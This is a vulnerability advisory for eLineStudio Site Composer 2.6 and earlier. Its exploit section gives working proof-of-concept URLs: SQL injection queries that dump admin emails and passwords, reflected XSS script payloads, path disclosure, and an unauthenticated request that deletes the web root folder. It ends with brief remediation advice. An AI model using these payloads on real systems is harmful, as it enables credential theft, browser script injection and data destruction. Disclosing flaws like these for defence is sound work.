eLineStudio Site Composer (ESC) <=2.6 Multiple Vulnerabilities
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# AmnPardaz Security Research Team
#
# Title: eLineStudio Site Composer (ESC) <=2.6 Multiple Vulnerabilities
# Vendor: www.elinestudio.com
# Vulnerable Version: 2.6 and prior versions
# Exploit: Available
# Impact: High
# Fix: N/A
# Original Advisory: www.bugreport.ir/?/45
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1. Description:
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eLineStudio Site Composer is a 100% browser-based database-driven
content management system that helps companies to better manage, update & share
web content. eLineStudio Site Composer provides affordable & flexible licensing
for end users & web developers.
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2. Vulnerabilities:
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2.1. Injection Flaws, Cross Site Scripting (XSS). SQL Injection in
"/ansFAQ.asp" in "id" parameter. Reflected XSS attack in "/ansFAQ.asp" in
"topic" and "button" parameters.
2.1.1. Exploit:
Check the exploit/POC section.
2.2. Injection Flaws. SQL Injection in "preview.asp" in "template_id"
parameter.
2.2.1. Exploit:
Check the exploit/POC section.
2.3. Information Leakage. Database path disclosure in
"/cms/include/trigger.asp" and/or "/cms/include/common2.asp".
2.3.1. Exploit:
Check the exploit/POC section.
2.4. Failure to Restrict URL Access. Attacker can delete any folder on
the server by "/cms/assetmanager/folderdel_.asp".
2.4.1. Exploit:
Check the exploit/POC section.
2.5. Failure to Restrict URL Access. Attacker can create folder on the
server by "/cms/assetmanager/foldernew.asp".
2.5.1. Exploit:
Check the exploit/POC section.
2.6. Cross Site Scripting (XSS). Reflected XSS attack in "login.asp" in
"id" and "txtEmail" parameters.
2.6.1. Exploit:
Check the exploit/POC section.
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3. Exploits/POCs:
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Original Exploit URL: http://bugreport.ir/index.php?/45/exploit
3.1. SQL Injection in "/ansFAQ.asp" in "id" parameter. Reflected XSS
attack in "/ansFAQ.asp" in "topic" and "button" parameters.
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Find Admin's password:
http://[URL]/ansFAQ.asp?id=-2 union select
email,password from [user] where email like '%25admin%25'
XSS attacks:
http://[URL]/ansFAQ.asp?id=1&topic=</title><script>alert('sdl BugReport.IR
XSS')</script>
http://[URL]/ansFAQ.asp?id=1&button=";><script>alert('sdl BugReport.IR
XSS')</script>
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3.2. SQL Injection in "preview.asp" in "template_id" parameter.
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Find Admin's password:
http://[URL]/preview.asp?template_id=-1 union select
1,'[%25menu%25]' as
date_created,email%2b'<br>'%2bpassword,user.*,user.*,1,2,3,4,5 from [user]
where email like '%25admin%25'
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3.3. Database path disclosure in "/cms/include/trigger.asp" and/or
"/cms/include/common2.asp".
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http://[URL]/cms/include/trigger.asp
http://[URL]/cms/include/common2.asp?id=1
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3.4. Attacker can delete any folder on the server by
"/cms/assetmanager/folderdel_.asp".
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http://[URL]/cms/assetmanager/folderdel_.asp?inpCurrFolder=C:\InetPub\wwwroot\
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3.5. Attacker can create folder on the server by
"/cms/assetmanager/foldernew.asp".
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http://[URL]/cms/assetmanager/foldernew.asp?inpCurrFolder=c:\inetpub\wwwroot\&inpNewFolderName=test2008
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3.6. Reflected XSS attack in "login.asp" in "id" and "txtEmail"
parameters.
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http://[URL]/login.asp?id=1";><script>alert('sdl BugReport.ir
XSS')</script>
http://[URL]/login.asp?txtEmail=1";><script>alert('sdl
BugReport.ir XSS')</script>
-------------
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4. Solution:
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Edit the source code to ensure that inputs are properly sanitized (for
2.1, 2.2, 2.6). Rename the mentioned files in section 2.3, 2.4, 2.5, and wait
for vendor patch.
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5. Credit:
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AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
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